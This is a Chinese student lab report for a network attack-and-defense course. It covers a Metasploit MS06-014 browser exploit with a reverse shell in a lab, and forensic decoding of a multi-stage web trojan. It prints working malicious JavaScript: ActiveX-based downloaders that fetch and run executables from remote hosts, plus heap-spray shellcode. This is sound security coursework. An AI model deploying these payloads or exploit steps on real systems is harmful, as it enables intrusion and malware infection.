20252810 2024-2025-2 《网络攻防实践》实践十一报告
20252810 2024-2025-2 《网络攻防实践》实践十一报告
1.实践内容
一、浏览器渗透攻击基础
（1）漏洞利用原理
浏览器渗透攻击通常利用目标浏览器或其插件（如ActiveX控件）的安全漏洞，通过构造恶意网页脚本，在用户无感知的情况下执行任意代码。
典型漏洞如 MS06-014（Microsoft Data Access Components 中的漏洞，CVE-2006-0003），攻击者可通过创建特定的 ActiveX 对象（CLSID：BD96C556-65A3-11D0-983A-00C04FC29E36）绕过安全限制，实现远程代码执行。
（2）Metasploit 攻击流程
使用 msfconsole 启动框架，通过 search 查找特定漏洞模块。
选择漏洞模块（如 exploit/windows/browser/ie_createobject），配置 payload（如 windows/shell/reverse_tcp 或 generic/shell_reverse_tcp）。
设置本地主机 LHOST（攻击机 IP）和可选 URIPATH，运行 exploit 生成恶意 URL。
当目标访问该 URL 时，攻击模块会发送构造的恶意 HTML/JS 代码，触发漏洞并建立反向 shell 会话。
（3）反向连接与会话管理
反向 TCP payload 使靶机主动连接攻击机的监听端口（默认 4444），可绕过防火墙入站限制。
使用 sessions 查看已建立的会话，sessions -i
二、恶意脚本分析与取证技术
（1）多阶段恶意链
网页木马常采用多层跳转与解密：start.html → 解密得到新 URL → 下载下一级脚本 → 最终释放可执行文件。
每层资源通过 MD5 哈希值 进行标识，分析时可计算哈希并从指定仓库下载对应文件。
（2）ActiveX 控件滥用
恶意代码通过 document.createElement("object") 并设置 classid 创建风险控件。
常见的被滥用控件包括：
Adodb.Stream：实现文件读写、下载。
Shell.Application：执行系统命令。
MPS.StormPlayer、POWERPLAYER.PowerPlayerCtrl.1、BaiduBar.Tool 等第三方控件，用于下载或执行恶意载荷。
（3）堆喷射（Heap Spray）技术
通过大量分配填充块（如 NOP 滑板 %u9090 + shellcode）来占据内存的特定地址范围，提高漏洞利用成功率。
（4）编码与混淆绕过
攻击者常用 Unicode 小端序（%uXXXX）、十六进制转义（\xXX）、八进制转义、XXTEA 加密等混淆手段隐藏真实 URL 和执行逻辑。
分析时需要反向转换：提取混淆字符串 → 字节序还原 → 解密 → 得到明文字符串。
（5）持久化与反重复触发
恶意代码通过设置 cookie（如 ce=windowsxp）和过期时间，避免同一浏览器多次执行相同攻击行为。
三、攻防对抗实践要点
攻击方
利用 Metasploit 构造至少两个不同浏览器漏洞的恶意 URL，并进行混淆处理（如 URL 路径随机化、JS 代码编码）。
通过欺骗性邮件诱使防守方点击链接。
防守方
从邮件中提取挂马链接，访问后查看网页源码或抓取网络流量。
对混淆代码进行解混淆（可使用在线工具如 JYSHARE、jsnice 等），还原出原始漏洞利用代码。
识别漏洞特征：如 CLSID 对应 MS06-014，或特定函数调用（如 storm.rawParse 对应播放器漏洞）。
分析完毕后，可形成漏洞威胁情报，指导补丁部署或安全策略调整。
2.实践过程
实践内容
（1）web浏览器渗透攻击
任务：使用攻击机和Windows靶机进行浏览器渗透攻击实验，体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤：
①选择使用Metasploit中的MS06-014渗透攻击模块
两个虚拟机网络适配器都是VMnet8的NAT模式
攻击机kali：192.168.200.2
靶机Win2kServer_SP0_target：192.168.200.5
输入以下命令：
sudo su
msfconsole
search MS06-014
②选择PAYLOAD为任意远程Shell连接
输入以下命令：
use 0
set payload windows/shell/reverse_tcp
③设置服务器地址和URL参数，运行exploit，构造出恶意网页木马脚本
输入以下命令：
set LHOST 192.168.200.2
exploit
木马地址为http://192.168.200.2:8080/IwiQk8OcHFP
④在靶机环境中启动浏览器，验证与服务器的连通性，并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态，并通过成功渗透攻击后建立起的远程控制会话SESSION，在靶机上远程执行命令
输入以下命令：
sessions
sessions -i 1
ipconfig
getuid
（2）取证分析实践—网页木马攻击场景分析
实践过程：
①首先你应该访问start.html，在这个文件中给出了new09.htm的地址，
②在进入 htm 后，每解密出一个文件地址，请对其作 32 位 MD5 散列，以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写，且没有扩展名)，即为解密出的地址对应的文件。
搜索网站http://www.esjson.com/hashEncrypt.html
http://aa.18dd.net/aa/kl.htm
7f60672dcd6b5e90b6772545ee219bd3
http://js.users.51.la/1299644.js
23180a42a2ff1192150231b44ffdf3d3
找到解密出的地址所对应的文件
以上是此文件的解密密钥\x73\x63\x72\x69\x70\x74，所对应 ASCII 字符为script
使用https://cycy.fun/xxtea/ 对文件进行解密：
解密结果如下：
<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>
用ai转换为JavaScript代码字符串
function init() {
document.write();
}
window.onload = init;
if (document.cookie.indexOf('OK') == -1) {
try {
var e;
var ado = document.createElement("object");
ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as = ado.createobject("Adodb.Stream", "");
} catch (e) {}
finally {
var expires = new Date();
expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);
document.cookie = 'ce=windowsxp;path=/;expires=' + expires.toGMTString();
if (e != "[object Error]") {
document.write('<script src=http://aa.18dd.net/aa/1.js><\/script>');
} else {
try {
var f;
var storm = new ActiveXObject("MPS.StormPlayer");
} catch (f) {}
finally {
if (f != "[object Error]") {
document.write('<script src=http://aa.18dd.net/aa/b.js><\/script>');
}
}
try {
var g;
var pps = new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");
} catch (g) {}
finally {
if (g != "[object Error]") {
document.write('<script src=http://aa.18dd.net/aa/pps.js><\/script>');
}
}
try {
var h;
var obj = new ActiveXObject("BaiduBar.Tool");
} catch (h) {}
finally {
if (h != "[object Error]") {
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0);
}
}
}
}
}
这段恶意代码利用 IE 浏览器对 ActiveX 控件的信任，先后尝试创建 Adodb.Stream、MPS.StormPlayer、POWERPLAYER.PowerPlayerCtrl.1 等控件，其中 BaiduBar.Tool 可直接从远程下载并执行 .exe 文件；同时通过 document.write 动态加载外部 JS 脚本（来自 http://aa.18dd.net ），可窃取数据或植入木马。代码还通过设置 cookie 避免重复触发，并利用异常处理缺陷扩大攻击面，主要针对未打补丁的 Windows XP / 旧版 IE 环境。
根据代码，发现漏洞如下：
http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab
对四个恶意脚本进行MD5加密，加密结果如下：（这里图片不加了，依旧是在网站http://www.esjson.com/hashEncrypt.html 进行加解密点击MD5加密就行）
http://aa.18dd.net/aa/1.js ：5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js ：3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js ：5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab ：1c1d7b3539a617517c49eee4120783b2
打开文件5d7e9058a857aa2abee820d5473c5fa4并查看内容。
使用ai转为Javascript代码：
var url = "http://down.18dd.net/bb/014.exe";
try {
var xml = ado.CreateObject("Microsoft.XMLHTTP", "");
xml.Open("GET", url, 0);
xml.Send();
as.type = 1;
as.open();
as.write(xml.responseBody);
path = "..\\ntuser.com";
as.saveToFile(path, 2);
as.close();
var shell = ado.createobject("Shell.Application", "");
shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0);
} catch (e) {}
这段代码通过 eval 执行了一个解码后的脚本，其行为是：首先尝试创建 Microsoft.XMLHTTP 对象，向 http://down.18dd.net/bb/014.exe 发送 GET 请求下载一个恶意可执行文件；然后将响应内容写入 as 对象（可能指 ADODB.Stream，但代码中未显式定义 ado 和 as，推测依赖 ActiveX 环境），并保存到本地路径 ..\ntuser.com；最后利用 Shell.Application 以 cmd.exe /c 执行该文件。整体来看，这是一个典型的木马下载器，旨在从远程服务器下载恶意程序并静默运行，常见于漏洞利用或钓鱼攻击中，具有高危风险。
http://down.18dd.net/bb/014.exe ， 用md5加密后为：ca4e4a1730b0f69a9b94393d9443b979
打开文件3870c28cc279d457746b3796a262f166
可以看出文件使用了pocked的加密
%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000解密后的数据是一段包含字符串和空字节的二进制序列。按小端序将每个 %uXXXX 转换为两个字节后，得到以下字节（十六进制）：
46 69 6c 65 41 00 68 74 74 70 3a 2f 2f 64 6f 77 6e 2e 31 38 64 64 2e 6e 65 74 2f 62 62 2f 66 62 2e 65 78 65 00 00
对应 ASCII 字符串为 "FileA"（后跟一个空字节）以及 "http://down.18dd.net/bb/fb.exe"（后跟两个空字节）。因此，这段 shellcode 中嵌入的 URL 是 http://down.18dd.net/bb/fb.exe 。
搜索https://www.toolmao.com/485.html 进行解密：
结果如下：
var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%x"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="fillblockfillblockfillblockfillblock";storm.rawParse(buffer)
这是一个典型的堆喷射（Heap Spray）攻击载荷，旨在利用浏览器或ActiveX控件的漏洞（如storm.rawParse函数的不安全处理）执行任意代码。它首先构建一个由大量NOP滑板（%u9090）和经过编码的shellcode组成的填充块，然后通过循环分配300个内存块来占据堆空间，最终构造一个长度超过4068字节的缓冲区并调用storm.rawParse触发漏洞。一旦成功，shellcode将被执行，其解码后可能会下载并运行http://down.18dd.net/bb/014.exe等恶意程序，从而实现远程控制或进一步感染。
http://down.18dd.net/bb/bf.exe 的加密结果为：268cbd59fbed235f6cf6b41b92b03f8e
将文件5f0b8bf0385314dbe0e5ec95e6abedc2，字符串转换为javascript。
var shellcode = unescape("%uf3e9%u0000") +
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000";
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace)
bigblock += bigblock;
var fillblock = bigblock.substring(0, slackspace);
var block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000)
block = block + block + fillblock;
var memory = new Array();
for (x = 0; x < 300; x++)
memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068)
buffer += "\x0a\x0a\x0a\x0a";
storm.rawParse(buffer);
对固定斜杠符号"/"进行定位，发现可疑之处并解密可得http://down.18dd.net/bb/pps.exe
用md5加密可得ff59b3b8961f502289c1b4df8c37e2a4
加密第四个恶意脚本：
http://down.18dd.net/bb/bd.cab ：1c1d7b3539a617517c49eee4120783b2
打开1c1d7b3539a617517c49eee4120783b2发现里面是bd.exe
将四个漏洞进行md5加密：
http://down.18dd.net/bb/014.exe ：ca4e4a1730b0f69a9b94393d9443b979
http://down.18dd.net/bb/bf.exe ：268cbd59fbed235f6cf6b41b92b03f8e
http://down.18dd.net/bb/pps.exe ：ff59b3b8961f502289c1b4df8c37e2a4
bd.exe
在对应文件里打开终端并输入命令：
md5sum ca4e4a1730b0f69a9b94393d9443b979
md5sum 268cbd59fbed235f6cf6b41b92b03f8e
md5sum ff59b3b8961f502289c1b4df8c37e2a4
得到同样的结果：
1290ecd734d68d52318ea9016dc6fe63 268cbd59fbed235f6cf6b41b92b03f8e
猜测第四个文件结果与前面三个相同，因此三个文件是一样的
打开WinXPattacker，分析pps.exe文件，可以看到下载了很多文件（大家找不到String windows的可以看看右下方的窗口，找死我了）
（3）攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码，并进行混淆处理之后组装成一个URL，通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态，并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
在Kali虚拟机中运行Metasploit框架，配置攻击载荷，并生成一个恶意的网页脚本，该木马对应的URL是 http://192.168.200.2:8080/mLALO1ND 。
命令如下：
sudo su
msfconsole
search ms06-014
use 0
show payloads
set payload generic/shell_reverse_tcp
set LHOST 192.168.200.2
exploit
打开Win2kServer点击浏览器，输入并右键查看源文件。
使用网站https://www.jyshare.com/front-end/47/
CLSID BD96C556-65A3-11D0-983A-00C04FC29E36 是 MS06-014 这个高危漏洞的标志性特征。
3.学习中遇到的问题及解决
-
问题1：
![image]()
-
问题1解决方案：下载geditg工具
-
问题2：start.html是空的
-
问题2解决方案：在主机上先下载start.html然后再拖到kali就行
4.实践总结
这次实验让我真正理解了“眼见不一定为实”——看似空白的网页背后可能隐藏着多层恶意代码。通过手动分析混淆脚本、追踪ActiveX控件和堆喷射技术，我体会到安全分析需要极大的耐心和细致的观察力。同时，亲手用Metasploit完成一次浏览器攻击也让我对漏洞利用的流程和原理有了更直观的认识。以后无论是开发还是上网，我都会更加警惕链接和控件的安全性。
浙公网安备 33010602011771号